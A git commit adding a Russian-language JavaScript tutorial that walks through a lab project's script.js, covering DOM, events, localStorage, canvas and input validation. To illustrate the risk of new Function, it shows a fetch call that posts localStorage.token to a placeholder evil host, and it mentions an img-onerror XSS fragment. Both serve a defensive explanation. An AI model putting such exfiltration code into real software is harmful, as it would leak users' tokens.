new version
This commit is contained in:
@@ -0,0 +1,909 @@
|
||||
# Гайд по JavaScript на примере этого проекта
|
||||
|
||||
Этот гайд объясняет синтаксис JS и то, как работает именно `script.js` из Лабораторной №1.
|
||||
Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.
|
||||
|
||||
---
|
||||
|
||||
## 0. Как вообще всё запускается
|
||||
|
||||
В `index.html` в самом конце есть строка:
|
||||
|
||||
```html
|
||||
<script src="script.js"></script>
|
||||
```
|
||||
|
||||
Это значит:
|
||||
|
||||
1. Браузер читает HTML сверху вниз и строит **DOM** — дерево объектов из твоих тегов.
|
||||
2. Доходит до `<script>` в конце `<body>` — все теги уже существуют.
|
||||
3. Загружает `script.js` и **выполняет его сверху вниз**, как список инструкций.
|
||||
|
||||
Именно поэтому скрипт подключён в конце, а не в `<head>`: код в первой строке
|
||||
`document.getElementById('graphCanvas')` сразу ищет `<canvas>`, и тег обязан
|
||||
уже быть в DOM. Если бы `<script>` стоял в `<head>`, то `canvas` был бы `null`
|
||||
и всё упало бы на второй строке.
|
||||
|
||||
**Где смотреть ошибки:** F12 → вкладка Console. Там же можно писать JS руками —
|
||||
например, напечатай `history` и увидишь текущий массив истории.
|
||||
|
||||
---
|
||||
|
||||
## 1. Переменные: `const`, `let`, (и `var` — не используй)
|
||||
|
||||
```js
|
||||
const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
|
||||
let history = []; // можно переприсвоить
|
||||
```
|
||||
|
||||
| Ключевое слово | Переприсвоение | Где живёт |
|
||||
|---|---|---|
|
||||
| `const` | ❌ запрещено | внутри `{ }`, где объявлена |
|
||||
| `let` | ✅ разрешено | внутри `{ }`, где объявлена |
|
||||
| `var` | ✅ разрешено | во всей функции (устаревшее, путает) |
|
||||
|
||||
Важный нюанс, который многих ломает: `const` запрещает **переприсвоить саму
|
||||
переменную**, но не запрещает менять содержимое объекта или массива.
|
||||
|
||||
```js
|
||||
const arr = [];
|
||||
arr.push(1); // ✅ можно — массив тот же, просто внутри стало больше
|
||||
arr = [1, 2]; // ❌ ошибка — пытаемся подсунуть другой массив
|
||||
```
|
||||
|
||||
В проекте `history` объявлена через `let`, потому что при очистке её **заменяют
|
||||
целиком**:
|
||||
|
||||
```js
|
||||
history = []; // строка 51 — вот из-за этого нужен let
|
||||
```
|
||||
|
||||
> ⚠️ Кстати, `history` — неудачное имя: в браузере уже есть глобальный
|
||||
> `window.history` (кнопки «назад/вперёд»). Здесь локальная переменная его
|
||||
> перекрывает. Работает, но в своём коде лучше назвать `records` или `hits`.
|
||||
|
||||
---
|
||||
|
||||
## 2. Типы данных
|
||||
|
||||
В JS всего несколько базовых типов, с которыми ты тут встретишься:
|
||||
|
||||
```js
|
||||
const num = 2.5; // number — одно число на все случаи (целые и дробные)
|
||||
const str = 'Попадание'; // string — строка
|
||||
const bool = true; // boolean — true / false
|
||||
const nothing = null; // «осознанно пусто»
|
||||
let notSet; // undefined — «значение не задано»
|
||||
```
|
||||
|
||||
Два особых значения, которые встречаются в коде:
|
||||
|
||||
- `NaN` («Not a Number») — результат неудачной математики. `Number('абв')` даёт `NaN`.
|
||||
Проверяется только функцией `isNaN(x)`, потому что `NaN === NaN` — это `false`.
|
||||
- `null` vs `undefined`: `getElementById` вернёт `null`, если элемента нет.
|
||||
`undefined` — если переменную объявили, но не присвоили.
|
||||
|
||||
### Массив
|
||||
|
||||
Упорядоченный список. Нумерация с нуля.
|
||||
|
||||
```js
|
||||
const validR = [1, 2, 3, 4, 5];
|
||||
validR[0]; // 1
|
||||
validR.length; // 5
|
||||
validR.includes(3); // true — «есть ли такой элемент?»
|
||||
```
|
||||
|
||||
`includes` в проекте используется для проверки допустимых значений:
|
||||
|
||||
```js
|
||||
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
|
||||
```
|
||||
|
||||
### Объект
|
||||
|
||||
Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:
|
||||
|
||||
```js
|
||||
const rec = {
|
||||
x: 1,
|
||||
y: 2.5,
|
||||
r: 3,
|
||||
hit: true,
|
||||
time: '20 октября 2026 г., 14:30:00'
|
||||
};
|
||||
|
||||
rec.x; // 1 — доступ через точку
|
||||
rec['x']; // 1 — то же самое, если имя ключа в переменной
|
||||
rec.hit = false; // изменение
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Операторы и сравнения
|
||||
|
||||
```js
|
||||
x + y // сложение (для строк — склейка: 'a' + 'b' === 'ab')
|
||||
x * x // умножение
|
||||
x / 2 // деление
|
||||
x ** 2 // возведение в степень
|
||||
```
|
||||
|
||||
### `===` против `==`
|
||||
|
||||
**Всегда используй `===`.** Он сравнивает и значение, и тип.
|
||||
|
||||
```js
|
||||
'2' == 2 // true — == тайно приводит типы, это источник багов
|
||||
'2' === 2 // false — разные типы, честный ответ
|
||||
2 === 2 // true
|
||||
```
|
||||
|
||||
`!==` — «не равно» в строгом виде. В проекте: `rec.y !== 81`.
|
||||
|
||||
### Логика
|
||||
|
||||
```js
|
||||
a && b // И — оба true
|
||||
a || b // ИЛИ — хотя бы один true
|
||||
!a // НЕ — переворачивает
|
||||
```
|
||||
|
||||
Пример из `validateY` — проверка, что Y вне диапазона и это не пасхалка:
|
||||
|
||||
```js
|
||||
if ((y < -3 || y > 5) && y !== 81) { ... }
|
||||
```
|
||||
|
||||
Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81».
|
||||
Скобки обязательны, иначе приоритет операторов даст другой смысл.
|
||||
|
||||
### Truthy / falsy
|
||||
|
||||
`if` принимает не только `true`/`false`, а любое значение и превращает его в
|
||||
логическое. **Falsy** (считаются «ложью»): `false`, `0`, `''`, `null`,
|
||||
`undefined`, `NaN`. Всё остальное — truthy.
|
||||
|
||||
```js
|
||||
if (!currentR) { ... } // строка 109: «если R не выбран»
|
||||
```
|
||||
|
||||
Работает потому, что `currentR` изначально `null`. Но осторожно: `0` тоже falsy.
|
||||
Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 —
|
||||
код бы ошибочно считал его «не выбранным». Правильнее было бы
|
||||
`if (currentR === null)`.
|
||||
|
||||
### Тернарный оператор
|
||||
|
||||
Короткая запись `if/else`, которая **возвращает значение**:
|
||||
|
||||
```js
|
||||
условие ? значение_если_да : значение_если_нет
|
||||
```
|
||||
|
||||
Из `drawGraph`:
|
||||
|
||||
```js
|
||||
const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
|
||||
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Функции
|
||||
|
||||
Три записи, все три есть в проекте.
|
||||
|
||||
### Обычное объявление
|
||||
|
||||
```js
|
||||
function checkHit(x, y, r) {
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
`x, y, r` — параметры. `return` отдаёт результат и **немедленно выходит** из
|
||||
функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где
|
||||
они объявлены. Поэтому в проекте `drawGraph()` вызывается на строке 54, хотя
|
||||
объявлена она на 352-й — и это работает.
|
||||
|
||||
### Параметр по умолчанию
|
||||
|
||||
```js
|
||||
function validateY(showErrors = false) { ... }
|
||||
```
|
||||
|
||||
Если вызвать `validateY()` — внутри `showErrors` будет `false`.
|
||||
Если `validateY(true)` — будет `true`.
|
||||
|
||||
Это ключевая идея валидации в проекте: **одна и та же функция** и молча проверяет
|
||||
форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.
|
||||
|
||||
### Стрелочная функция
|
||||
|
||||
```js
|
||||
() => { ... } // без аргументов
|
||||
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
|
||||
btn => btn.value // один аргумент — скобки можно опустить
|
||||
```
|
||||
|
||||
Короткая форма без `{ }` возвращает результат выражения автоматически.
|
||||
Эти две записи идентичны:
|
||||
|
||||
```js
|
||||
(a, b) => a + b
|
||||
(a, b) => { return a + b; }
|
||||
```
|
||||
|
||||
Стрелочные функции в проекте используются там, где функция передаётся
|
||||
куда-то как аргумент — в обработчики событий и в `forEach`.
|
||||
|
||||
---
|
||||
|
||||
## 5. Поиск элементов и работа с DOM
|
||||
|
||||
```js
|
||||
document.getElementById('y-input') // ОДИН элемент по id, или null
|
||||
document.querySelectorAll('.r-button') // ВСЕ по CSS-селектору
|
||||
document.querySelectorAll('input[name="xval"]') // все чекбоксы X
|
||||
```
|
||||
|
||||
`querySelectorAll` принимает любой CSS-селектор и возвращает `NodeList` —
|
||||
похож на массив, можно перебирать `forEach` и брать `.length`.
|
||||
|
||||
### Чтение и запись
|
||||
|
||||
```js
|
||||
yInput.value // что пользователь ввёл (всегда СТРОКА!)
|
||||
cb.checked // true/false для чекбокса
|
||||
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
|
||||
tr.innerHTML = '<td>1</td>' // HTML внутри элемента (парсится как разметка)
|
||||
submitBtn.disabled = true // отключить кнопку
|
||||
btn.getAttribute('data-val') // прочитать любой атрибут, тоже строка
|
||||
```
|
||||
|
||||
**Главная ловушка:** `input.value` — это всегда строка, даже у `type="number"`.
|
||||
Поэтому в коде везде стоит преобразование:
|
||||
|
||||
```js
|
||||
const y = parseFloat(yInput.value.trim().replace(',', '.'));
|
||||
```
|
||||
|
||||
Разбираем цепочку справа налево по порядку вызовов:
|
||||
|
||||
1. `.value` → `" 2,5 "` (строка как есть)
|
||||
2. `.trim()` → `"2,5"` (убрали пробелы по краям)
|
||||
3. `.replace(',', '.')` → `"2.5"` (русская запятая → точка, JS понимает только точку)
|
||||
4. `parseFloat(...)` → `2.5` (число)
|
||||
|
||||
Это **цепочка методов**: каждый возвращает новое значение, у которого сразу
|
||||
вызывается следующий метод.
|
||||
|
||||
### `parseFloat` vs `Number`
|
||||
|
||||
```js
|
||||
Number('2.5abc') // NaN — строгий, вся строка должна быть числом
|
||||
parseFloat('2.5abc') // 2.5 — читает с начала, пока получается
|
||||
Number('') // 0 (!) — коварно
|
||||
```
|
||||
|
||||
В `validateY` стоит `Number`, потому что там нужна строгость: «буквы
|
||||
недопустимы». А после успешной валидации уже можно `parseFloat` — значение
|
||||
проверено.
|
||||
|
||||
### Классы и стили
|
||||
|
||||
```js
|
||||
btn.classList.add('active'); // добавить CSS-класс
|
||||
btn.classList.remove('active'); // убрать
|
||||
```
|
||||
|
||||
CSS в `index.html` уже описывает, как выглядит `.r-button.active` (серый фон,
|
||||
белый текст). JS только переключает класс — **внешний вид остаётся в CSS**.
|
||||
Это правильный подход: не трогать стили из JS напрямую.
|
||||
|
||||
---
|
||||
|
||||
## 6. Циклы и перебор
|
||||
|
||||
### `forEach` — основной инструмент проекта
|
||||
|
||||
```js
|
||||
rButtons.forEach(btn => {
|
||||
// здесь btn — каждая кнопка по очереди
|
||||
});
|
||||
```
|
||||
|
||||
`forEach` принимает функцию и вызывает её для каждого элемента. Ничего не
|
||||
возвращает — используется ради побочных действий (навесить обработчик,
|
||||
нарисовать точку, положить запись в массив).
|
||||
|
||||
### `filter` — отбор
|
||||
|
||||
```js
|
||||
history = rawData.filter(rec => {
|
||||
if (typeof rec !== 'object') return false; // выбросить
|
||||
return true; // оставить
|
||||
});
|
||||
```
|
||||
|
||||
Возвращает **новый массив** только из тех элементов, для которых функция вернула
|
||||
truthy. Исходный массив не меняется.
|
||||
|
||||
### Обычный `for` — когда нужны индексы
|
||||
|
||||
В `drawGraph` рисование пользовательской функции идёт попиксельно, и нужны
|
||||
именно номера пикселей:
|
||||
|
||||
```js
|
||||
for (let py = 0; py < height; py++) {
|
||||
for (let px = 0; px < width; px++) {
|
||||
// ...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Три части: `let py = 0` — старт; `py < height` — условие продолжения;
|
||||
`py++` — шаг (`py++` это то же, что `py = py + 1`).
|
||||
|
||||
Вложенный цикл = `300 × 300 = 90 000` итераций на каждую перерисовку.
|
||||
|
||||
### Spread `...` — копия массива
|
||||
|
||||
```js
|
||||
[...history].reverse()
|
||||
```
|
||||
|
||||
`reverse()` переворачивает массив **на месте**, портя оригинал. `[...history]`
|
||||
сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица
|
||||
показывает новые записи сверху, а сам `history` остаётся в порядке добавления —
|
||||
что важно, потому что именно в этом порядке он уходит в `localStorage`.
|
||||
|
||||
---
|
||||
|
||||
## 7. События — как код реагирует на пользователя
|
||||
|
||||
Весь интерактив строится на одной конструкции:
|
||||
|
||||
```js
|
||||
элемент.addEventListener('событие', функция);
|
||||
```
|
||||
|
||||
«Когда на этом элементе случится такое событие — вызови эту функцию».
|
||||
|
||||
Какие события используются в проекте:
|
||||
|
||||
| Событие | Где | Когда срабатывает |
|
||||
|---|---|---|
|
||||
| `DOMContentLoaded` | `window`, стр. 47 | HTML разобран, DOM готов |
|
||||
| `click` | кнопки R, «Отрисовать», «Очистить» | нажатие |
|
||||
| `change` | чекбоксы X | галочка поставлена/снята |
|
||||
| `input` | поля Y и функции | каждый введённый символ |
|
||||
| `submit` | `<form>` | отправка формы |
|
||||
|
||||
### Разбор обработчика кнопок R (строки 62–74)
|
||||
|
||||
```js
|
||||
rButtons.forEach(btn => {
|
||||
btn.addEventListener('click', () => {
|
||||
rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
|
||||
btn.classList.add('active'); // выделить нажатую
|
||||
rHidden.value = btn.getAttribute('data-val'); // записать в скрытое поле
|
||||
currentR = parseFloat(rHidden.value); // и в переменную как число
|
||||
if (formSubmitted) rError.textContent = ''; // стереть старую ошибку
|
||||
validateForm();
|
||||
drawGraph();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
Здесь два уровня вложенности, и это стоит понять:
|
||||
|
||||
- Внешний `forEach` выполняется **один раз при загрузке** и навешивает
|
||||
обработчик на каждую из 5 кнопок.
|
||||
- Внутренняя стрелочная функция выполняется **позже, при каждом клике**.
|
||||
|
||||
Внутренняя функция «помнит» переменную `btn` своей кнопки, хотя внешний цикл
|
||||
давно закончился. Это называется **замыкание** (closure) — функция сохраняет
|
||||
доступ к переменным того места, где была создана. Работает это потому, что `btn`
|
||||
объявлена через `let`/параметр: у каждой итерации своя копия. С `var` все пять
|
||||
обработчиков ссылались бы на одну переменную и ломались — классический баг.
|
||||
|
||||
### `submit` и `preventDefault`
|
||||
|
||||
```js
|
||||
form.addEventListener('submit', (e) => {
|
||||
e.preventDefault();
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
`e` — объект события, браузер передаёт его автоматически.
|
||||
`e.preventDefault()` отменяет стандартное поведение: по умолчанию форма
|
||||
перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки
|
||||
приложение не работало бы вообще.
|
||||
|
||||
---
|
||||
|
||||
## 8. `try / catch` — работа с тем, что может сломаться
|
||||
|
||||
```js
|
||||
try {
|
||||
const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
|
||||
// ...
|
||||
} catch (e) {
|
||||
history = [];
|
||||
}
|
||||
```
|
||||
|
||||
Логика: «попробуй выполнить блок `try`; если внутри произойдёт ошибка — не
|
||||
падай, а перейди в `catch`». `e` — объект ошибки, у него есть `e.message`
|
||||
с текстом.
|
||||
|
||||
Ошибку можно создать самому:
|
||||
|
||||
```js
|
||||
throw new Error('Недопустимые символы в функции');
|
||||
```
|
||||
|
||||
`throw` прерывает функцию и «выбрасывает» ошибку наружу, где её поймает
|
||||
ближайший `catch`. Так устроен `parseFunction`: он не возвращает код ошибки,
|
||||
а бросает исключение, а вызывающий код решает, что делать:
|
||||
|
||||
```js
|
||||
try {
|
||||
customFunction = parseFunction(funcStr);
|
||||
funcError.textContent = '';
|
||||
drawGraph();
|
||||
} catch (e) {
|
||||
funcError.textContent = e.message; // показать текст пользователю
|
||||
customFunction = null;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. `localStorage` — сохранение между перезагрузками
|
||||
|
||||
Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы.
|
||||
**Хранит только строки.**
|
||||
|
||||
```js
|
||||
localStorage.setItem('key', 'строка');
|
||||
localStorage.getItem('key'); // строка или null, если ключа нет
|
||||
localStorage.removeItem('key');
|
||||
```
|
||||
|
||||
Чтобы положить массив объектов, его сериализуют в JSON:
|
||||
|
||||
```js
|
||||
localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
|
||||
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект
|
||||
```
|
||||
|
||||
`JSON.parse` **бросает ошибку** на испорченной строке — поэтому он обёрнут
|
||||
в `try/catch`.
|
||||
|
||||
### Почему данные перепроверяются
|
||||
|
||||
```js
|
||||
history = rawData.filter(rec => {
|
||||
if (typeof rec !== 'object' || rec === null) return false;
|
||||
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
`localStorage` открыт пользователю: любой может зайти в DevTools и записать
|
||||
туда что угодно. Данные оттуда — **недоверенный ввод**, ровно как данные с
|
||||
сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются.
|
||||
Это правильная привычка, не паранойя.
|
||||
|
||||
Здесь же проявляется `typeof`:
|
||||
|
||||
```js
|
||||
typeof 5 // 'number'
|
||||
typeof 'текст' // 'string'
|
||||
typeof {} // 'object'
|
||||
typeof null // 'object' ← историческая ошибка языка!
|
||||
```
|
||||
|
||||
Из-за последней строки проверка написана как
|
||||
`typeof rec !== 'object' || rec === null` — одного `typeof` не хватает.
|
||||
|
||||
---
|
||||
|
||||
## 10. Canvas — рисование графика
|
||||
|
||||
`<canvas>` — холст пикселей. Из JS берётся «контекст» — объект с командами
|
||||
рисования:
|
||||
|
||||
```js
|
||||
const ctx = canvas.getContext('2d');
|
||||
```
|
||||
|
||||
### Система координат
|
||||
|
||||
Начало координат canvas — **левый верхний угол**, ось Y направлена **вниз**.
|
||||
Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:
|
||||
|
||||
```js
|
||||
const center = width / 2; // 150 — центр холста
|
||||
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
|
||||
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях
|
||||
```
|
||||
|
||||
Деление на `rec.r` нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при
|
||||
R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.
|
||||
|
||||
### Основные команды
|
||||
|
||||
```js
|
||||
ctx.clearRect(0, 0, width, height); // стереть всё
|
||||
ctx.fillStyle = '#3399FF'; // цвет заливки
|
||||
ctx.fillRect(x, y, ширина, высота); // залитый прямоугольник
|
||||
|
||||
ctx.beginPath(); // начать новый контур
|
||||
ctx.moveTo(x, y); // перенести «перо» без линии
|
||||
ctx.lineTo(x, y); // линия до точки
|
||||
ctx.arc(x, y, радиус, отУгла, доУгла); // дуга, углы в РАДИАНАХ
|
||||
ctx.closePath(); // замкнуть контур
|
||||
ctx.fill(); // залить
|
||||
ctx.strokeStyle = '#000'; // цвет линии
|
||||
ctx.stroke(); // обвести
|
||||
|
||||
ctx.font = '12px Arial';
|
||||
ctx.fillText('R', x, y); // текст
|
||||
```
|
||||
|
||||
Ключевая идея: `beginPath()` → набор `moveTo`/`lineTo`/`arc` → `fill()` или
|
||||
`stroke()`. Без `beginPath()` новые линии дорисуются к старому контуру и зальются
|
||||
вместе с ним — очень частый баг.
|
||||
|
||||
Четверть круга:
|
||||
|
||||
```js
|
||||
ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);
|
||||
```
|
||||
|
||||
Углы в радианах: `-Math.PI / 2` = −90° (верх), `0` = 0° (право). Вместе с
|
||||
`moveTo(center, center)` и `closePath()` получается сектор, а не просто дуга.
|
||||
|
||||
### Попиксельная отрисовка пользовательской функции
|
||||
|
||||
Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми
|
||||
командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код
|
||||
проверяет **каждый пиксель отдельно**:
|
||||
|
||||
```js
|
||||
const imageData = ctx.createImageData(width, height);
|
||||
const data = imageData.data; // плоский массив длиной width*height*4
|
||||
|
||||
for (let py = 0; py < height; py++) {
|
||||
for (let px = 0; px < width; px++) {
|
||||
const x = ((px - center) / R_PIXELS) * currentR; // пиксель → математика
|
||||
const y = ((center - py) / R_PIXELS) * currentR;
|
||||
|
||||
const hit = checkHit(x, y, currentR);
|
||||
|
||||
const index = (py * width + px) * 4; // позиция пикселя в плоском массиве
|
||||
if (hit) {
|
||||
data[index] = 51; // R
|
||||
data[index + 1] = 153; // G
|
||||
data[index + 2] = 255; // B
|
||||
data[index + 3] = 255; // Alpha (прозрачность)
|
||||
} else {
|
||||
data[index] = 255; data[index + 1] = 255;
|
||||
data[index + 2] = 255; data[index + 3] = 255;
|
||||
}
|
||||
}
|
||||
}
|
||||
ctx.putImageData(imageData, 0, 0); // вывести на холст одним разом
|
||||
```
|
||||
|
||||
`data` — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA).
|
||||
Формула `(py * width + px) * 4` переводит двумерные координаты в плоский индекс:
|
||||
«пропустить `py` полных строк, потом `px` пикселей, умножить на 4 байта».
|
||||
|
||||
---
|
||||
|
||||
## 11. `new Function` — и почему это опасно
|
||||
|
||||
```js
|
||||
const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);
|
||||
```
|
||||
|
||||
Это создание функции **из строки во время работы программы**. Первые аргументы —
|
||||
имена параметров, последний — тело.
|
||||
|
||||
Здесь же используется **шаблонная строка** — обратные кавычки `` ` ``
|
||||
с подстановкой `${выражение}`:
|
||||
|
||||
```js
|
||||
const name = 'мир';
|
||||
`Привет, ${name}!` // 'Привет, мир!'
|
||||
```
|
||||
|
||||
В `renderHistory` тем же приёмом собирается строка HTML на несколько строк —
|
||||
обычные кавычки так не умеют.
|
||||
|
||||
### В чём опасность
|
||||
|
||||
`new Function` исполняет произвольный код — как `eval`. Строка
|
||||
`fetch('http://злой.сайт', {method:'POST', body: localStorage.token})` была бы
|
||||
выполнена браузером. В проекте перед этим стоит защита:
|
||||
|
||||
```js
|
||||
const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
|
||||
if (!allowedChars.test(normalized)) {
|
||||
throw new Error('Недопустимые символы в функции');
|
||||
}
|
||||
```
|
||||
|
||||
Это **регулярное выражение** (regex) — шаблон для проверки строк:
|
||||
|
||||
- `/.../` — границы регулярки
|
||||
- `^` — начало строки, `$` — конец (значит, проверяется строка целиком)
|
||||
- `[...]` — набор разрешённых символов
|
||||
- `\d` — любая цифра, `\s` — пробел
|
||||
- `+` — «один или больше таких символов»
|
||||
- `\-`, `\*`, `\/` — экранирование: символы со спецсмыслом помечаются `\`
|
||||
- `.test(строка)` → `true` / `false`
|
||||
|
||||
Перед этим идёт нормализация — человеческая запись переводится в JS:
|
||||
|
||||
```js
|
||||
const normalized = funcStr.trim()
|
||||
.replace(/abs\(/g, 'Math.abs(') // abs( → Math.abs(
|
||||
.replace(/sin\(/g, 'Math.sin(')
|
||||
.replace(/\^/g, '**'); // ^ → ** (степень в JS)
|
||||
```
|
||||
|
||||
Флаг `g` (global) в `/abs\(/g` означает «заменить все вхождения», а не только
|
||||
первое.
|
||||
|
||||
Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла
|
||||
сразу, а не при отрисовке:
|
||||
|
||||
```js
|
||||
func(0, 0, 1, 1);
|
||||
return (x, y, r) => func(x, y, r, r); // обёртка: r и R — одно и то же
|
||||
```
|
||||
|
||||
Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать
|
||||
`customFunction(x, y, r)` тремя аргументами, а внутри `r` подставляется дважды,
|
||||
чтобы работали оба написания — и `r`, и `R`.
|
||||
|
||||
> ⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный —
|
||||
> набор `[xyrRMathabsincoqrt]` разрешает любые комбинации этих букв.
|
||||
> Для лабораторной работы, которая крутится только в твоём браузере, это
|
||||
> нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен
|
||||
> настоящий парсер математических выражений.
|
||||
|
||||
---
|
||||
|
||||
## 12. Как устроена вся логика проекта
|
||||
|
||||
### Глобальное состояние
|
||||
|
||||
Четыре переменные держат всё, что программа «знает» о текущем моменте:
|
||||
|
||||
```js
|
||||
let history = []; // массив всех проверок
|
||||
let currentR = null; // выбранный R, null пока не выбран
|
||||
let formSubmitted = false; // была ли хоть одна отправка
|
||||
let customFunction = null; // активная пользовательская функция
|
||||
```
|
||||
|
||||
`formSubmitted` решает тонкую задачу UX: ошибки нельзя показывать пользователю,
|
||||
который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после
|
||||
первой отправки ошибки уже показаны, и их надо гасить при правке поля:
|
||||
|
||||
```js
|
||||
yInput.addEventListener('input', () => {
|
||||
if (formSubmitted) yError.textContent = '';
|
||||
validateForm();
|
||||
});
|
||||
```
|
||||
|
||||
### Валидация: один набор правил, два режима
|
||||
|
||||
```
|
||||
validateForm(showErrors)
|
||||
├── validateY(showErrors) → Y заполнен, число, в диапазоне
|
||||
├── validateFunction(showErrors) → функция парсится (пустая = ок)
|
||||
├── проверка R → выбран и из списка [1..5]
|
||||
├── проверка X → хотя бы один и все из списка
|
||||
└── submitBtn.disabled = !isValid
|
||||
```
|
||||
|
||||
Вызывается в двух режимах:
|
||||
|
||||
- `validateForm()` — после каждого действия. Молча включает/выключает кнопку.
|
||||
- `validateForm(true)` — при отправке. Пишет текст ошибок в `<span class="error">`.
|
||||
|
||||
Паттерн «накопления» флага внутри:
|
||||
|
||||
```js
|
||||
let isValid = true;
|
||||
if (!validateY(showErrors)) isValid = false;
|
||||
if (!validateFunction(showErrors)) isValid = false;
|
||||
```
|
||||
|
||||
Так проверяются **все** поля и показываются **все** ошибки сразу. Если бы вместо
|
||||
этого стоял `return false` на первой же ошибке, пользователь видел бы их по
|
||||
одной — хуже.
|
||||
|
||||
Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом
|
||||
«допустимо ли значение». Второе — защита от подмены: `data-val` и `value`
|
||||
в HTML можно отредактировать через DevTools, поэтому значения сверяются с
|
||||
белым списком в JS.
|
||||
|
||||
### Проверка попадания
|
||||
|
||||
```js
|
||||
function checkHit(x, y, r) {
|
||||
if (customFunction) { /* пользовательская функция вместо фигур */ }
|
||||
|
||||
if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r); // I: четверть круга
|
||||
if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
|
||||
if (x <= 0 && y <= 0) return false; // III: пусто
|
||||
if (x >= 0 && y <= 0) return y >= (x/2) - (r/2); // IV: треугольник
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
Здесь важен **порядок**: `return` выходит сразу, поэтому `if` работают как
|
||||
`else if`. Точка (0, 0) попадает в первое же условие и дальше не идёт —
|
||||
границы четвертей не конфликтуют именно из-за раннего выхода.
|
||||
|
||||
Треугольник: прямая через `(r, 0)` и `(0, -r/2)` имеет уравнение
|
||||
`y = x/2 - r/2`. Точка внутри, если она **выше** этой прямой: `y >= x/2 - r/2`.
|
||||
|
||||
Одна и та же `checkHit` используется и для таблицы, и для попиксельной
|
||||
отрисовки. Поэтому график **всегда совпадает** с результатами — нет двух
|
||||
независимых реализаций, которые могли бы разойтись. Это главная архитектурная
|
||||
идея проекта: правило живёт в одном месте.
|
||||
|
||||
### Полный поток при отправке формы
|
||||
|
||||
```
|
||||
1. e.preventDefault() — не перезагружать страницу
|
||||
2. formSubmitted = true
|
||||
3. validateForm(true) — не прошло → выход
|
||||
4. y === 81? — пасхалка: показать картинку, выход
|
||||
5. parseFunction(funcStr) — обновить customFunction
|
||||
6. new Date().toLocaleString(...) — метка времени, одна на всю отправку
|
||||
7. по каждому отмеченному X:
|
||||
checkHit(x, y, r) → history.push({x, y, r, hit, time})
|
||||
8. localStorage.setItem(...) — сохранить
|
||||
9. renderHistory() — перерисовать таблицу
|
||||
10. drawGraph() — перерисовать график
|
||||
```
|
||||
|
||||
Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может
|
||||
создать до девяти записей сразу, по одной на каждый отмеченный X.
|
||||
|
||||
### Дата и время
|
||||
|
||||
```js
|
||||
new Date().toLocaleString("ru-RU", {
|
||||
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
||||
year: 'numeric', month: 'long', day: 'numeric',
|
||||
hour: '2-digit', minute: '2-digit', second: '2-digit'
|
||||
});
|
||||
```
|
||||
|
||||
`new Date()` — текущий момент. `toLocaleString` форматирует его по правилам
|
||||
локали: `"ru-RU"` даёт «20 октября 2026 г.», а не «10/20/2026».
|
||||
`Intl.DateTimeFormat().resolvedOptions().timeZone` достаёт часовой пояс
|
||||
пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.
|
||||
|
||||
### Рендер таблицы
|
||||
|
||||
```js
|
||||
function renderHistory() {
|
||||
resultsBody.innerHTML = ''; // стереть всё
|
||||
[...history].reverse().forEach(rec => {
|
||||
const tr = document.createElement('tr'); // создать <tr>
|
||||
tr.innerHTML = `
|
||||
<td>${rec.x}</td>
|
||||
...
|
||||
`;
|
||||
resultsBody.appendChild(tr); // вставить в DOM
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это
|
||||
абсолютно нормально и гораздо понятнее, чем точечные обновления.
|
||||
|
||||
> ⚠️ `innerHTML` с подстановкой данных — потенциальная XSS-уязвимость: если бы
|
||||
> в `rec.x` попала строка `<img onerror=...>`, браузер её исполнил бы. Здесь
|
||||
> безопасно, потому что все поля прошли фильтр и гарантированно числа.
|
||||
